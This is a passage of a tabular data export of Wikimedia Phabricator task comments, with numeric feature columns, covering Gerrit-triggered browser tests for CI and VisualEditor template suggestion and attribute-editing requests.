",,,1450907160,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,False,,,129,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,0.8461538461538461,"QUOTE
QUOTE

Still interested in the answer to this.
"
528777,[EPIC] trigger browser tests from Gerrit (tracking),The description is a little confusing. Does VisualEditor do this already? I can't see the selenium job on a per commit basis....,,,1442430477,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,False,,,115,,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,15.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.115384615384615,0.9615384615384616,The description is a little confusing. Does VisualEditor do this already? I can't see the selenium job on a per commit basis....
431647,[EPIC] trigger browser tests from Gerrit (tracking),I have closed a few tasks that were requesting browser tests to be triggered on patch proposal. There is no point in keeping them open until we are actually ready to trigger such jobs.,,,1427208701,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,90,,3.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,14.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,4.194444444444445,0.9444444444444444,I have closed a few tasks that were requesting browser tests to be triggered on patch proposal. There is no point in keeping them open until we are actually ready to trigger such jobs.
417558,[EPIC] trigger browser tests from Gerrit (tracking),"Per a discussion we had in the Releng weekly checkin, triggering browser tests from Gerrit would need the disposable VMs. We would also need to setup MediaWiki and the required backend services such as Parsoid (and more as needed).",,,1424944811,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,86,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,16.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,4.386363636363637,0.8409090909090909,"Per a discussion we had in the Releng weekly checkin, triggering browser tests from Gerrit would need the disposable VMs. We would also need to setup MediaWiki and the required backend services such as Parsoid (and more as needed)."
234072,[EPIC] trigger browser tests from Gerrit (tracking),"(In reply to Matthew Flaschen from comment #7)
<snip>
> What's the status of this?  Are there any projects that have browser tests
> triggering on each change (even if non-voting)?
> 
> If not, can you outline the blockers?

It is not hold, mostly because we lack resources to do the integration / make them faster.  On top of my head:

* make them faster
* runnable in parallel and aggregate the results
* rethink the way we setup the environment to run the browser tests, it is currently a huge shell snippet which is copy pasted in different place


Feel free to take the leadership. Zeljkof and Nik Everett would be able to assist.  I can offer reviews / guidances as well.",,,1415887484,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,1.0,0.5,4.0,1.5,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.5,0.0,4.5,7.5,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,4.5,1.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,5.5,3.0,8.5,0.5,1.5,6.5,0.0,0.0,0.0,0.5,8.0,0.0,0.5,0.0,5.0,7.5,5.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,1.5,3.6808743169398905,0.8102459016393442,"(In reply to Matthew Flaschen from comment #7)
<snip>
QUOTE
QUOTE
QUOTE
QUOTE

It is not hold, mostly because we lack resources to do the integration / make them faster.  On top of my head:

* make them faster
* runnable in parallel and aggregate the results
* rethink the way we setup the environment to run the browser tests, it is currently a huge shell snippet which is copy pasted in different place


Feel free to take the leadership. Zeljkof and Nik Everett would be able to assist.  I can offer reviews / guidances as well."
234067,[EPIC] trigger browser tests from Gerrit (tracking),"(In reply to Antoine ""hashar"" Musso from comment #6)
> This is no more a top priority.  We have most browsertests run twice per day
> instead.
> 
> We will eventually managed to get them added in Gerrit, but there is a bit
> more work that needs to be done first.

What's the status of this?  Are there any projects that have browser tests triggering on each change (even if non-voting)?

If not, can you outline the blockers?",,,1412275069,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,65,,3.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,17.0,3.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,11.0,8.0,5.0,3.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,3.365079365079365,0.7619047619047619,"(In reply to Antoine ""hashar"" Musso from comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

What's the status of this?  Are there any projects that have browser tests triggering on each change (even if non-voting)?

If not, can you outline the blockers?"
234063,[EPIC] trigger browser tests from Gerrit (tracking),"This is no more a top priority.  We have most browsertests run twice per day instead.

We will eventually managed to get them added in Gerrit, but there is a bit more work that needs to be done first.",,,1405076783,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,11.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,9.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,4.0,2.0,0.0,4.0,2.0,0.0,3.6222222222222222,0.8444444444444444,"This is no more a top priority.  We have most browsertests run twice per day instead.

We will eventually managed to get them added in Gerrit, but there is a bit more work that needs to be done first."
234058,[EPIC] trigger browser tests from Gerrit (tracking),"Quick status update:

- ULS has browser tests being triggered albeit lot of tests ends up being
- MobileFrontend has a patch that has browser tests passing locally against a freshly installed wiki. Pending review / merge then I will add the browser tests.
- VisualEditor browser tests depends on some work to be done to safely start and stop a Parsoid daemon for each test.

I am focusing this week on integrating Parsoid daemon in Jenkins",,,1386705460,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,23,,2.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,2.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,25.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,5.0,5.0,12.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,12.0,6.0,0.0,0.0,0.0,2.0,0.0,1.0,4.0,0.0,5.0,0.0,0.0,0.0,4.317647058823529,0.7294117647058823,"Quick status update:

- ULS has browser tests being triggered albeit lot of tests ends up being
- MobileFrontend has a patch that has browser tests passing locally against a freshly installed wiki. Pending review / merge then I will add the browser tests.
- VisualEditor browser tests depends on some work to be done to safely start and stop a Parsoid daemon for each test.

I am focusing this week on integrating Parsoid daemon in Jenkins"
234052,[EPIC] trigger browser tests from Gerrit (tracking),The Jenkins jobo template in https://gerrit.wikimedia.org/r/#/c/86868/ would let us trigger tests.,,,1385379924,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,The Jenkins jobo template in URL would let us trigger tests.
234041,[EPIC] trigger browser tests from Gerrit (tracking),See also the Wiki page https://www.mediawiki.org/wiki/Continuous_integration/Browser_tests,,,1379694650,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,50.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,See also the Wiki page URL
234030,[EPIC] trigger browser tests from Gerrit (tracking),We will go with ULS first since we have a good experience interacting with the i18n team and they are in European timezone just like Zeljko and I.,,,1378225513,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,18.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,18.0,4.0,7.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,18.0,14.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.25,0.9285714285714286,We will go with ULS first since we have a good experience interacting with the i18n team and they are in European timezone just like Zeljko and I.
234017,[EPIC] trigger browser tests from Gerrit (tracking),"raise priority, add 'tracking' in summary.",,,1378225359,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jzpbyio6ibhoo7ft5azi,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,0.9,"raise priority, add 'tracking' in summary."
55614,VIsualEditor: Allowing editing of attributes in MWAlienExtensionNode,"Need some UI to add/remove/edit the key value pairs.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1377906360,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-342y4tkwn6enbyuyqjn3,task_description,open,True,c1,3,True,False,,8,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.78125,0.6875,"Need some UI to add/remove/edit the key value pairs.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
253591,VIsualEditor: Allowing editing of attributes in MWAlienExtensionNode,"As an update, this is done for editing, but not adding/removing.",,,1394479039,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-342y4tkwn6enbyuyqjn3,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,3.375,0.9375,"As an update, this is done for editing, but not adding/removing."
55609,"VisualEditor: In the transclusion dialog, use ""Root#sets"" data to allow addition and/or completion of parameter > sets","

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1377905220,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bjxf522olmedsdx6rpbc,task_description,open,True,c1,3,True,False,,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
55590,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Adam Cuerden says,  ""I believe the VE team intends to have a some one click solutions in the near future, including adding templates of your choice to a bar? Although I'd hope there'd also be a few automatic lists you could choose to pull up - cleanup templates, etc.""

So, it would be really comfy for users if the template editor, beyond being able to let them select what they need by typing the name, asked ""Which kind of template do you want to add?"" and provided lists of the most used/popular ones, divided per set (cleanup templates, citation templates and so on).
Or just a way to store one's most used choices.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T52458}",Low,25.0,1377873180,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_description,open,True,c1,3,False,False,,8,,1.0,0.0,0.0,0.5,0.0,3.5,1.0,0.0,0.5,0.5,0.5,1.0,0.0,0.0,0.5,1.0,0.0,5.0,9.5,0.0,2.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,1.5,0.0,2.5,1.5,0.5,1.5,1.5,0.0,0.5,1.0,1.0,0.0,1.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,4.5,1.5,8.0,1.0,1.5,5.5,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,4.5,9.5,2.0,1.0,2.0,0.0,4.5,0.0,1.0,2.0,0.5,1.5,0.0,1.0,1.0,3.565423683507084,0.7336941994119219,"Adam Cuerden says,  ""I believe the VE team intends to have a some one click solutions in the near future, including adding templates of your choice to a bar? Although I'd hope there'd also be a few automatic lists you could choose to pull up - cleanup templates, etc.""

So, it would be really comfy for users if the template editor, beyond being able to let them select what they need by typing the name, asked ""Which kind of template do you want to add?"" and provided lists of the most used/popular ones, divided per set (cleanup templates, citation templates and so on).
Or just a way to store one's most used choices.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T52458}"
2464482,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"T209797 requests a specific subset of this, in a specific format, as part of semi-automated tool interfaces, for wikisource as well as VE.",,,1732669010,,PHID-USER-t5o36keuho36mcmrau5j,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,595,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7586206896551724,"T209797 requests a specific subset of this, in a specific format, as part of semi-automated tool interfaces, for wikisource as well as VE."
2440575,VisualEditor: Provide some kind of template suggestion in the transclusion editor,CommTech is planning to address some of this with [[ https://phabricator.wikimedia.org/T367428  | Favorite Templates ]] ,,,1729696706,,PHID-USER-gijtkzcktagsduwnkeo6,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,590,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.7222222222222223,0.8888888888888888,CommTech is planning to address some of this with [[ URL  | Favorite Templates ]] 
2330588,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"The infobox could be suggested based on some categories of the article, specifically or generally, for example writer or just biography.",,,1715092406,,PHID-USER-ygejgcs65h5nr3ssbueb,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,566,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,0.9166666666666666,"The infobox could be suggested based on some categories of the article, specifically or generally, for example writer or just biography."
2067511,VisualEditor: Provide some kind of template suggestion in the transclusion editor,https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2023/Editing/Quickly_add_favorite_and_related_templates,,,1676201310,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,501,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
2059679,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
https://patchdemo.wmflabs.org/wikis/98c44ac3c7/wiki/Main_Page?veaction=edit",,,1675175353,,PHID-USER-jab5bp3ivtzmobfdxoa7,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,500,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.838709677419355,0.7741935483870968,"Test wiki **created** on [[ URL | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
URL"
2059660,VisualEditor: Provide some kind of template suggestion in the transclusion editor,https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2023/Editing/Quickly_add_infobox,,,1675173851,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,500,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
1623156,VisualEditor: Provide some kind of template suggestion in the transclusion editor,https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2021/Editing/Select_templates_by_categories,,,1606394588,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,386,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
1476812,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"CCing WMDE Technical Wishes team (https://meta.wikimedia.org/wiki/WMDE_Technical_Wishes/Templates)

